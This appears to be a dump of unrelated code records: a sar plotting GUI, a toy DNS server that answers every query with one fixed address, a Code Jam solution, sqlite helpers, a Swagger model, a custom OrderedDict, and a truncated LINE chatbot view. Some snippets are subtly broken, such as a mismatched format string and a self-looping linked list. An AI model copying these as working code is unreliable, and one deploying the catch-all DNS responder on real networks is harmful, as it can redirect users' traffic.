self.textbuffer.set_text(self.sa_orig_data) \n\n def sar_W(self):\n print(\"-> sar_W\")\n\n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return\n \n self.sar_W_time = []\n self.sar_W_pswpin = []\n self.sar_W_pswpout = []\n\n stdoutdata = subprocess.check_output([\"sar\", \"-W\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 3 and (not re.search('Average', str1)) and (not re.search('pswpin', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, pswpin_v, pswpout_v = str1.split()\n self.sar_W_time.append(time_v)\n self.sar_W_pswpin.append(locale.atof(pswpin_v))\n self.sar_W_pswpout.append(locale.atof(pswpout_v))\n \n self.textbuffer.set_text(self.sa_orig_data) \n \n def plot(self,button):\n print(\"-> plot \" + self.minor_opt_selected)\n \n if self.minor_opt_selected != \"\":\n if self.major_opt_selected == \"-u\":\n self.plot_sar_u()\n elif self.major_opt_selected == \"-b\":\n self.plot_sar_b()\n elif self.major_opt_selected == \"-q\":\n self.plot_sar_q()\n elif self.major_opt_selected == \"-r\":\n self.plot_sar_r()\n elif self.major_opt_selected == \"-S\":\n self.plot_sar_S() \n elif self.major_opt_selected == \"-W\":\n self.plot_sar_W() \n \n def plot_sar_u(self):\n print(\"plot_sar_u\")\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_u_time)\n line_chart.title = 'sar -u -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"iowait\":\n line_chart.add('iowait', self.sar_u_iowait )\n elif self.minor_opt_selected == \"usersys\":\n line_chart.add('user', self.sar_u_user )\n line_chart.add('system', self.sar_u_system )\n elif self.minor_opt_selected == \"idle\":\n line_chart.add('idle', self.sar_u_idle )\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_u.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_u.svg\"])\n \n def plot_sar_b(self):\n print(\"->plot_sar_b\")\n \n #\"tps\", \"rtps-wtps\", \"bread-bwrtn\"\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_b_time)\n line_chart.title = 'sar -b -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"tps\":\n line_chart.add('tps', self.sar_b_tps )\n elif self.minor_opt_selected == \"rtps-wtps\":\n line_chart.add('rtps', self.sar_b_rtps )\n line_chart.add('wtps', self.sar_b_wtps )\n elif self.minor_opt_selected == \"bread-bwrtn\":\n line_chart.add('bread/s', self.sar_b_bread )\n line_chart.add('bwrtn/s', self.sar_b_bwrtn )\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_b.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_b.svg\"])\n \n def plot_sar_q(self):\n print(\"->plot_sar_q\")\n \n #\"runqsz-blocked\", \"plistsz\" \"ldavg-1,5,15\"\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_q_time)\n line_chart.title = 'sar -q -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"runqsz-blocked\":\n line_chart.add('runq-sz', self.sar_q_runqsz )\n line_chart.add('blocked', self.sar_q_blocked )\n elif self.minor_opt_selected == \"plistsz\":\n line_chart.add('plist-sz', self.sar_q_plistsz )\n elif self.minor_opt_selected == \"ldavg-1,5,15\":\n line_chart.add('ldavg-1', self.sar_q_ldavg1)\n line_chart.add('ldavg-5', self.sar_q_ldavg5)\n line_chart.add('ldavg-15', self.sar_q_ldavg15)\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_q.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_q.svg\"])\n \n def plot_sar_r(self):\n print(\"->plot_sar_q\")\n \n #\"memused\", \"kbbuffers-kbcached\"\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_r_time)\n line_chart.title = 'sar -r -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"memused\":\n line_chart.add('%memused', self.sar_r_memused )\n elif self.minor_opt_selected == \"kbbuffers-kbcached\":\n line_chart.add('kbbuffers', self.sar_r_kbbuffers )\n line_chart.add('kbcached', self.sar_r_kbcached)\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_r.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_r.svg\"])\n \n def plot_sar_S(self):\n print(\"->plot_sar_S\")\n \n #\"swpused\"\"\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_S_time)\n line_chart.title = 'sar -S -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"swpused\":\n line_chart.add('%swpused', self.sar_S_swpused )\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_S.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_S.svg\"])\n\n def plot_sar_W(self):\n print(\"->plot_sar_W\")\n \n #pswpin-pswpout\n \n line_chart = pygal.Line(x_label_rotation=-90)\n line_chart.x_labels = map(str, self.sar_W_time)\n line_chart.title = 'sar -W -f ' + self.sa_filename\n \n if self.minor_opt_selected == \"pswpin-pswpout\":\n line_chart.add('pswpin/s', self.sar_W_pswpin)\n line_chart.add('pswout/s', self.sar_W_pswpout)\n \n line_chart.render_to_file(\"/tmp/sarplot__plot_sar_W.svg\") \n subprocess.call([\"google-chrome\", \"/tmp/sarplot__plot_sar_W.svg\"])\n\n\nwin = GSarPlot()\nwin.connect(\"delete-event\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n","sub_path":"gsarplot.py","file_name":"gsarplot.py","file_ext":"py","file_size_in_byte":22117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"621660775","text":"#http://code.activestate.com/\n\nimport socket\n\n\nclass DNSQuery:\n def __init__(self, data):\n self.data = data\n self.dominio = ''\n\n x = (ord(data[2]) >> 3) & 15\n if x == 0:\n i = 12\n l = ord(data[i])\n while l != 0:\n self.dominio += data[i + 1:i + l + 1] + '.'\n i += l + 1\n l = ord(data[i])\n\n def request(self, ip):\n pack = ''\n if self.dominio:\n pack += self.data[:2] + \"\\x81\\x80\"\n pack += self.data[4:6] + self.data[4:6] + '\\x00\\x00\\x00\\x00'\n pack += self.data[12:]\n pack += '\\xc0\\x0c'\n pack += '\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x3c\\x00\\x04'\n pack += str.join('', map(lambda x: chr(int(x)), ip.split('.')))\n return pack\n\n\nif __name__ == '__main__':\n ip = '192.168.1.1'\n print ('Hello, your current ip is %s' % ip)\n\n udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udps.bind(('', 53))\n\n try:\n while 1:\n data, addr = udps.recvfrom(1024)\n p = DNSQuery(data)\n udps.sendto(p.request(ip), addr)\n print ('Hello, your ip address is -> %s' % (p.dominio, ip))\n except KeyboardInterrupt:\n print ('Finalizando')\n udps.close()\n","sub_path":"DNS_Server.py","file_name":"DNS_Server.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"428123115","text":"input_file = \"B-large.in\"\noutput_file = \"Blarge.out\"\n\nf_in = open(input_file, \"r\")\nf_out = open(output_file, \"w\")\n\ntest_cases = int(f_in.readline()[:-1])\n\nfor case in range(test_cases):\n\tf_out.write(\"Case #\" + str(case+1) + \": \")\n\tp = f_in.readline()\n\tres = 0\n\tif p[-1]==\"\\n\":\n\t\tp = p[:-1]\n\tblocks = 1\n\tfor i in range(1,len(p)):\n\t\tif p[i-1] != p[i]:\n\t\t\tblocks +=1\n\tplus_end = False\n\tif p[-1] == '+':\n\t\tplus_end = True\n\tif plus_end:\n\t\tres = blocks -1\n\telse:\n\t\tres = blocks\n\tf_out.write(str(res)+\"\\n\")\n\n\nf_in.close()\nf_out.close()","sub_path":"codes/CodeJamCrawler/16_0_2/rachele/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"202453185","text":"\"\"\"\nThis module manages sqlite3 database.\nThe database contains information about processed data, blacklist, cached results.\n\"\"\"\n\nimport sqlite3\nimport os\n\nglobal info_conn\nglobal data_path\n\ndata_path = os.path.dirname(os.path.realpath(__file__)) + '/data/'\ndata_path = os.path.abspath(data_path)+\"/\"\ninfo_conn = None\n\n\ndef init():\n \"\"\"\n Initialize database module. Should be called at the end of this script\n \"\"\"\n global info_conn\n\n if not os.path.exists(data_path):\n os.mkdir(data_path)\n\n if os.path.exists(data_path + 'data_info.db'):\n info_conn = sqlite3.connect(data_path + 'data_info.db')\n\n\ndef init_db():\n \"\"\"\n Initialize database by creating basic tables.\n \"\"\"\n global info_conn\n\n info_conn = sqlite3.connect(data_path + 'data_info.db')\n db = info_conn.cursor()\n\n db.execute('''CREATE TABLE IF NOT EXISTS processed\n (count INTEGER,\n date TEXT UNIQUE)\n ''')\n\n info_conn.commit()\n\n\ndef create_blacklist_db():\n \"\"\"\n Initialize blacklist database by building its schema.\n If blacklist database already exists it overwrites it.\n \"\"\"\n if os.path.exists(data_path + 'data_blacklist.db'):\n os.remove(data_path + 'data_blacklist.db')\n\n connection = sqlite3.connect(data_path + 'data_blacklist.db')\n db = connection.cursor()\n\n db.execute('''CREATE TABLE IF NOT EXISTS blacklist\n (domain_code TEXT,\n page_title TEXT,\n CONSTRAINT unity UNIQUE (domain_code,page_title))\n ''')\n\n connection.commit()\n\n\ndef get_blacklist_db():\n \"\"\"\n returns sqlite3 database connection object and cursor on blacklist database\n :return: connection object, cursor object\n \"\"\"\n connection = sqlite3.connect(data_path + 'data_blacklist.db')\n db = connection.cursor()\n\n return connection, db\n\n\ndef create_result_db(date):\n \"\"\"\n Initialize cached results database by building its schema.\n If results database already exists it overwrites it.\n :return: connection object, cursor object\n \"\"\"\n if os.path.exists(data_path + 'result_' + date + '.db'):\n os.remove(data_path + 'result_' + date + '.db')\n\n connection = sqlite3.connect(data_path + 'result_' + date + '.db')\n db = connection.cursor()\n\n db.execute('''CREATE TABLE IF NOT EXISTS results\n (domain_code TEXT,\n page_title TEXT,\n count_views INTEGER)\n ''')\n\n connection.commit()\n\n return connection, db\n\n\ndef get_result_db(date):\n \"\"\"\n returns sqlite3 database connection object and cursor on cached result database\n :return: connection object, cursor object\n \"\"\"\n connection = sqlite3.connect(data_path + 'result_' + date + '.db')\n db = connection.cursor()\n\n return connection, db\n\n\ndef is_processed(date):\n \"\"\"\n Check if data has already been analyzed for a given input date.\n :param date: string formatted YYYY-MM-DD-HH\n :return: True if data has been analyzed, False otherwise.\n \"\"\"\n c = info_conn.cursor()\n c.execute(\"SELECT COUNT(*) FROM processed WHERE date=? LIMIT 1\", (date,))\n if c.fetchone()[0] != 0:\n return True\n return False\n\n\ndef is_stored(date, dir):\n \"\"\"\n Check if results are already stored for a given input date, destination directory.\n :param date: string formatted YYYY-MM-DD-HH\n :param dir: string destination directory\n :return: True if data has been analyzed, False otherwise.\n \"\"\"\n if os.path.isfile(dir+\"result-\" + date):\n return True\n else:\n return False\n\n\ndef is_blacklisted(domain_code, page_title):\n \"\"\"\n Check if domain_code and page_title are blacklisted\n :param domain_code: string\n :param page_title: string\n :return: True if domain_code and page_title are blacklisted, False otherwise.\n \"\"\"\n conn, db = get_blacklist_db()\n db.execute(\n \"SELECT COUNT(*) FROM blacklist WHERE (domain_code=? AND page_title=?) OR (domain_code=? AND page_title='') LIMIT 1\",\n (domain_code, page_title, domain_code))\n if db.fetchone()[0] != 0:\n return True\n return False\n\ninit()\n","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"467928567","text":"# coding: utf-8\n\n\"\"\"\n Cloudbreak API\n\n Cloudbreak is a powerful left surf that breaks over a coral reef, a mile off southwest the island of Tavarua, Fiji. Cloudbreak is a cloud agnostic Hadoop as a Service API. Abstracts the provisioning and ease management and monitoring of on-demand clusters. SequenceIQ's Cloudbreak is a RESTful application development platform with the goal of helping developers to build solutions for deploying Hadoop YARN clusters in different environments. Once it is deployed in your favourite servlet container it exposes a REST API allowing to span up Hadoop clusters of arbitary sizes and cloud providers. Provisioning Hadoop has never been easier. Cloudbreak is built on the foundation of cloud providers API (Amazon AWS, Microsoft Azure, Google Cloud Platform, Openstack), Apache Ambari, Docker lightweight containers, Swarm and Consul. For further product documentation follow the link: http://hortonworks.com/apache/cloudbreak/\n\n OpenAPI spec version: 2.9.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nfrom pprint import pformat\nfrom six import iteritems\nimport re\n\n\nclass CustomDomainSettings(object):\n \"\"\"\n NOTE: This class is auto generated by the swagger code generator program.\n Do not edit the class manually.\n \"\"\"\n\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'custom_domain': 'str',\n 'custom_hostname': 'str',\n 'cluster_name_as_subdomain': 'bool',\n 'hostgroup_name_as_hostname': 'bool'\n }\n\n attribute_map = {\n 'custom_domain': 'customDomain',\n 'custom_hostname': 'customHostname',\n 'cluster_name_as_subdomain': 'clusterNameAsSubdomain',\n 'hostgroup_name_as_hostname': 'hostgroupNameAsHostname'\n }\n\n def __init__(self, custom_domain=None, custom_hostname=None, cluster_name_as_subdomain=False, hostgroup_name_as_hostname=False):\n \"\"\"\n CustomDomainSettings - a model defined in Swagger\n \"\"\"\n\n self._custom_domain = None\n self._custom_hostname = None\n self._cluster_name_as_subdomain = None\n self._hostgroup_name_as_hostname = None\n\n if custom_domain is not None:\n self.custom_domain = custom_domain\n if custom_hostname is not None:\n self.custom_hostname = custom_hostname\n if cluster_name_as_subdomain is not None:\n self.cluster_name_as_subdomain = cluster_name_as_subdomain\n if hostgroup_name_as_hostname is not None:\n self.hostgroup_name_as_hostname = hostgroup_name_as_hostname\n\n @property\n def custom_domain(self):\n \"\"\"\n Gets the custom_domain of this CustomDomainSettings.\n custom domain name for the nodes in the stack\n\n :return: The custom_domain of this CustomDomainSettings.\n :rtype: str\n \"\"\"\n return self._custom_domain\n\n @custom_domain.setter\n def custom_domain(self, custom_domain):\n \"\"\"\n Sets the custom_domain of this CustomDomainSettings.\n custom domain name for the nodes in the stack\n\n :param custom_domain: The custom_domain of this CustomDomainSettings.\n :type: str\n \"\"\"\n\n self._custom_domain = custom_domain\n\n @property\n def custom_hostname(self):\n \"\"\"\n Gets the custom_hostname of this CustomDomainSettings.\n custom hostname for nodes in the stack\n\n :return: The custom_hostname of this CustomDomainSettings.\n :rtype: str\n \"\"\"\n return self._custom_hostname\n\n @custom_hostname.setter\n def custom_hostname(self, custom_hostname):\n \"\"\"\n Sets the custom_hostname of this CustomDomainSettings.\n custom hostname for nodes in the stack\n\n :param custom_hostname: The custom_hostname of this CustomDomainSettings.\n :type: str\n \"\"\"\n\n self._custom_hostname = custom_hostname\n\n @property\n def cluster_name_as_subdomain(self):\n \"\"\"\n Gets the cluster_name_as_subdomain of this CustomDomainSettings.\n using the cluster name to create subdomain\n\n :return: The cluster_name_as_subdomain of this CustomDomainSettings.\n :rtype: bool\n \"\"\"\n return self._cluster_name_as_subdomain\n\n @cluster_name_as_subdomain.setter\n def cluster_name_as_subdomain(self, cluster_name_as_subdomain):\n \"\"\"\n Sets the cluster_name_as_subdomain of this CustomDomainSettings.\n using the cluster name to create subdomain\n\n :param cluster_name_as_subdomain: The cluster_name_as_subdomain of this CustomDomainSettings.\n :type: bool\n \"\"\"\n\n self._cluster_name_as_subdomain = cluster_name_as_subdomain\n\n @property\n def hostgroup_name_as_hostname(self):\n \"\"\"\n Gets the hostgroup_name_as_hostname of this CustomDomainSettings.\n using the hostgroup names to create hostnames\n\n :return: The hostgroup_name_as_hostname of this CustomDomainSettings.\n :rtype: bool\n \"\"\"\n return self._hostgroup_name_as_hostname\n\n @hostgroup_name_as_hostname.setter\n def hostgroup_name_as_hostname(self, hostgroup_name_as_hostname):\n \"\"\"\n Sets the hostgroup_name_as_hostname of this CustomDomainSettings.\n using the hostgroup names to create hostnames\n\n :param hostgroup_name_as_hostname: The hostgroup_name_as_hostname of this CustomDomainSettings.\n :type: bool\n \"\"\"\n\n self._hostgroup_name_as_hostname = hostgroup_name_as_hostname\n\n def to_dict(self):\n \"\"\"\n Returns the model properties as a dict\n \"\"\"\n result = {}\n\n for attr, _ in iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"\n Returns the string representation of the model\n \"\"\"\n return pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"\n For `print` and `pprint`\n \"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"\n Returns true if both objects are equal\n \"\"\"\n if not isinstance(other, CustomDomainSettings):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"\n Returns true if both objects are not equal\n \"\"\"\n return not self == other\n","sub_path":"whoville/cloudbreak/models/custom_domain_settings.py","file_name":"custom_domain_settings.py","file_ext":"py","file_size_in_byte":7262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"373270573","text":"__about__ = \"\"\" Implementation of Ordered Dictonary Using Dictonary. \"\"\"\n\n\nclass _Link(object):\n __slots__ = 'prev' , 'next' , 'key' , '__weakreference__'\n\n\nclass OrderedDictonary(dict):\n\n def __init__(*args, **kwds):\n if not args:\n raise TypeError(\"descriptor '__init__' of 'OrderedDict' object \"\n \"needs an argument\")\n self, *args = args\n if len(args) > 1:\n raise TypeError('expected at most 1 arguments, got %d' % len(args))\n try:\n self.__root\n except AttributeError:\n self.__hardroot = _Link()\n self.__root = root = self.__hardroot\n root.prev = root.next = root\n self.__map = {}\n self.__update(*args, **kwds)\n\n def __setitem__(self, key, value, dict_setitem = dict.__setitem__, proxy= None, Link=_Link):\n\n if key not in self:\n self.__map[key] = link = Link()\n root = self.__root\n last = root.prev\n link.prev, link.next, link.key = last, root, key\n link.next = link\n link.prev = proxy(link)\n\n dict_setitem(self,key,value)\n\n def __iter__(self):\n\n root = self.root\n curr = root.next\n\n while curr is not root:\n yield curr.key\n curr = curr.next\n\n\nif __name__ == \"__main__\":\n\n mydict = OrderedDictonary()\n mydict[1] = 10","sub_path":"src/OrderedDictonary.py","file_name":"OrderedDictonary.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"231687001","text":"import re\nimport datetime\n\nfrom django.http import HttpResponse, HttpResponseBadRequest, HttpResponseForbidden, HttpRequest\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError, LineBotApiError\nfrom linebot.models import MessageEvent, TextSendMessage, TextMessage, FlexSendMessage, ImageSendMessage, PostbackEvent, \\\n BubbleContainer, ImageComponent, BoxComponent, TextComponent, ButtonComponent, URIAction, SpacerComponent, \\\n CarouselContainer, LocationMessage, TemplateSendMessage, MessageAction, ConfirmTemplate, PostbackAction, QuickReply, \\\n QuickReplyButton, FillerComponent\nfrom about_nutrition_chatbot import settings\nfrom nutritionweb.models import lineUser,userFood\nfrom .models import Chat\nfrom chatbot.recipeMsg.recipeMsg import recipeTypeReply,findRecipe\nfrom chatbot.userMsg.userMsg import creat_user_flex_message\nfrom chatbot.locationMsg.locationMsg import creat_gym_flex_message,create_location_flex_message,findGym\nfrom chatbot.detectIntent.detectMsgIntent import detectMsgIntent\nfrom chatbot.analysis.analysis import drawPie_kcal,calculate_Tdee,drawPie_three,get_week,draw_week,tdee_flexMessage,what_is_tdee,exercise_frq,analysisTemplate\nimport requests.packages.urllib3\nimport logging\nimport json\n# Create your views here.\n\n#line bot token and channel secret\nline_bot_api = LineBotApi(settings.LINE_CHANNEL_ACCESS_TOKEN)\nhandler = WebhookHandler(settings.LINE_CHANNEL_SECRET)\nhost=settings.host\n\nlogger = logging.getLogger(\"django\")\n\n\n\n\n\n@csrf_exempt\ndef callback(request: HttpRequest) -> HttpResponse:\n if request.method == 'POST':\n signature = request.META['HTTP_X_LINE_SIGNATURE']\n body = request.body.decode('utf-8')\n try:\n handler.handle(body, signature)\n\n except InvalidSignatureError:\n return HttpResponseBadRequest()\n return HttpResponse()\n else:\n return HttpResponseBadRequest()\n\n@handler.add(event=PostbackEvent)\ndef handle_postback(event:PostbackEvent):#處理postback事件\n\n data=str(event.postback.data).split(\"&\")\n query=data[0]\n userId=event.source.user_id\n profile = line_bot_api.get_profile(userId)\n if query =='action=userData':#點選使用者紀錄回傳flexMessage\n if lineUser.objects.filter(userId=userId).exists():\n line_bot_api.reply_message(event.reply_token, creat_user_flex_message(profile))\n else:\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=\"查詢資料錯誤 重新加入吧!!!\"))\n line_bot_api.link_rich_menu_to_user(event.source.user_id,\"richmenu-c1aa8fe9f8e87ea89c9f4cda38cfaaf9\")\n elif query =='action=mainMenu':#跳回主richMenu\n line_bot_api.link_rich_menu_to_user(userId, \"richmenu-e653dbdf393102df174783d3ec5eb3ff\")\n elif query == 'action=recordMenu': #紀錄richMenu\n line_bot_api.link_rich_menu_to_user(userId, \"richmenu-1d661deca5e0c683e96ba1f1310ed827\")\n elif query =='action=diet_or_cost':#花費飲食紀錄web\n uri ='https://liff.line.me/1653914885-DLXGeq3b'\n line_bot_api.reply_message(event.reply_token, TextSendMessage(text=uri))\n elif query =='action=history':#歷史紀錄web\n today = str(datetime.datetime.now().year) + \"-\" + str(datetime.datetime.now().month) + \"-\" + str(datetime.datetime.now().day)\n line_bot_api.reply_message(event.reply_token, history_flexMessage(userId,today))\n elif query =='action=nearby_Gym':#附近健身房flexMessage\n line_bot_api.reply_message(event.reply_token, create_location_flex_message())\n elif query =='action=recipe':#食譜flexMessage\n line_bot_api.reply_message(event.reply_token,recipeTypeReply())\n elif query == 'action=analyze': # 分析msg\n line_bot_api.reply_message(event.reply_token,analysisTemplate())\n elif query == \"action=reject\":\n params=str(event.postback.data).split(\"action=reject&\")[1]\n text=params.split(\"&intent=\")[0].split(\"text=\")[1] #get text=msg content\n intent=params.split(\"&intent=\")[1] #get intent content\n unit=Chat.objects.create(chat_user=userId,chat_text=text,chat_wrong_intent=intent,chat_isCorrect=False)\n unit.save()\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=\"不好意思,麻煩請你再更清楚告訴我你想做什麼。\"))\n elif query == 'c_recipe':\n line_bot_api.reply_message(event.reply_token, findRecipe(query))\n elif query == 'b_recipe':\n line_bot_api.reply_message(event.reply_token, findRecipe(query))\n elif query == 'f_recipe':\n line_bot_api.reply_message(event.reply_token, findRecipe(query))\n elif query == 'p_recipe':\n line_bot_api.reply_message(event.reply_token, findRecipe(query))\n elif query == 'a_recipe':\n line_bot_api.reply_message(event.reply_token, findRecipe(query))\n elif query =='tdee':\n if lineUser.objects.filter(userId=userId).exists():\n line_bot_api.reply_message(event.reply_token, exercise_frq())\n else:\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=\"不好意思,您還沒加入蓋營養唷~\"))\n elif query =='rarely':\n line_bot_api.reply_message(event.reply_token,calculate_Tdee(userId,query))\n elif query =='seldom':\n line_bot_api.reply_message(event.reply_token,calculate_Tdee(userId,query))\n elif query =='often':\n line_bot_api.reply_message(event.reply_token,calculate_Tdee(userId,query))\n elif query =='alotof':\n line_bot_api.reply_message(event.reply_token,calculate_Tdee(userId,query))\n elif query =='everyday':\n line_bot_api.reply_message(event.reply_token,calculate_Tdee(userId,query))\n elif query=='what_is_tdee':\n line_bot_api.reply_message(event.reply_token,what_is_tdee())\n\n\n@handler.add(event=MessageEvent, message=TextMessage)\ndef handle_message(event: MessageEvent):\n message = TextSendMessage(text=event.message.text)\n user_id = event.source.user_id\n try:\n strin = \"新增個人資料\\n使用者編號:\" + str(user_id)\n matchObjTotal = re.match(r\"^analyse_kacl[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]\", message.text)\n matchObjThree = re.match(r\"^analyse_three[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]\", message.text)\n matchObjWeek = re.match(r\"^analyse_week[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]\", message.text)\n print((event.message.text == strin))\n if message.text == strin:\n if lineUser.objects.filter(userId=user_id).exists(): # 檢查資料庫是否存在使用者資料\n line_bot_api.reply_message(event.reply_token, TextSendMessage(text=\"已成功加入囉~\"))\n profile = line_bot_api.get_profile(user_id)\n line_bot_api.push_message(user_id, creat_user_flex_message(profile))\n line_bot_api.link_rich_menu_to_user(user_id, \"richmenu-e653dbdf393102df174783d3ec5eb3ff\")\n print(event.message.text)\n elif matchObjTotal:\n date = re.split(\"analyse_kacl\", message.text)[1]\n total_kcal = drawPie_kcal(user_id, date)\n\n line_bot_api.reply_message(event.reply_token, ImageSendMessage(\n original_content_url=host + \"/Media/\" + user_id + date + \"foodkcalpercent.png\",\n preview_image_url=host + \"/Media/\" + user_id + date + \"foodkcalpercent.png\"))\n line_bot_api.push_message(user_id, TextSendMessage(text=\"📢您今日攝取總熱量為\\n\" + str(total_kcal) + \"大卡\"))\n elif matchObjThree:\n date = re.split(\"analyse_three\", message.text)[1]\n drawPie_three(user_id, date)\n line_bot_api.reply_message(event.reply_token, ImageSendMessage(\n original_content_url=host + \"/Media/\" + user_id + date + \"threepercent.png\",\n preview_image_url=host + \"/Media/\" + user_id + date + \"threepercent.png\"))\n line_bot_api.push_message(user_id,\n TextSendMessage(text=\"📢每日建議攝取比例\\n🍳蛋白質10-20%\\n🍔脂肪20-30%\\n🍚碳水化合物50-60%\"))\n elif matchObjWeek:\n date = re.split(\"analyse_week\", message.text)[1]\n datetime_list=get_week(date)\n weekDay_list = list()\n for i in datetime_list:\n weekDay_list.append(str(i.date()))\n draw_week(user_id,weekDay_list)\n line_bot_api.push_message(user_id, ImageSendMessage(\n original_content_url=host + \"/Media/\" + user_id + weekDay_list[0]+\"-\" +weekDay_list[6]+ \"total_kcal.png\",\n preview_image_url=host + \"/Media/\" + user_id + weekDay_list[0]+\"-\" +weekDay_list[6]+ \"total_kcal.png\"))\n elif event.message.text == \"/help\":\n msgText=\"💡小技巧:\\n您可以直接輸入按鈕名稱\\n例如:\\n輸入 紀錄飲食 \\n輸入 健身房\"\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text=msgText))\n else:\n intentResult = detectMsgIntent(event.message.text)\n intent = intentResult[\"result\"][\"metadata\"][\"intentName\"]\n responesText = intentResult[\"result\"][\"fulfillment\"][\"speech\"]\n chatText=event.message.text\n rejectData=\"action=reject&text=\"+chatText+\"&intent=\"+intent\n if intent == \"recordDiet\": # record diet\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='recordDietConfirm',\n text=responesText,\n actions=[\n URIAction(\n label=\"是\",\n uri=\"https://liff.line.me/1653914885-DLXGeq3b\" # 紀錄飲食頁面\n ),\n PostbackAction(\n label=\"不是\",\n data=rejectData,\n\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"analysis\": # analysis\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='AnalysisConfirm',\n text=responesText,\n actions=[\n PostbackAction(\n label=\"是\", # 確認是否要分析\n data=\"action=analyze\"\n ),\n PostbackAction(\n label=\"不是\",\n data=rejectData,\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"dietHistory\": # see diet history\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='DietHistoryConfirm',\n text=responesText,\n actions=[\n PostbackAction(\n label=\"是\", # 確認是否要查看歷史紀錄\n data=\"action=history\"\n ),\n PostbackAction(\n label=\"不是\",\n data=rejectData,\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"recordUserInfo\": # record user's information\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='UserInfoConfirm',\n text=responesText,\n actions=[\n PostbackAction(\n label=\"是\",\n data=\"action=userData\" # 紀錄頁面\n ),\n PostbackAction(\n label=\"不是\",\n data=rejectData,\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"findGym\": # find nearest gym\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='findGymConfirm',\n text=responesText,\n actions=[\n PostbackAction(\n label=\"是\", # 確認是否要尋找健身房\n data=\"action=nearby_Gym\"\n ),\n PostbackAction(\n label=\"不是\",\n data=rejectData\n )\n ])\n )\n line_bot_api.reply_message(event.reply_token, replyMsg)\n elif intent == \"recipe\":\n replyMsg = TemplateSendMessage(alt_text=intent, template=ConfirmTemplate(\n title='RankConfirm',\n text=responesText,\n actions=[\n PostbackAction(\n label=\"是\", # 確認是否要推薦食譜\n data=\"action=recipe\"\n ),\n 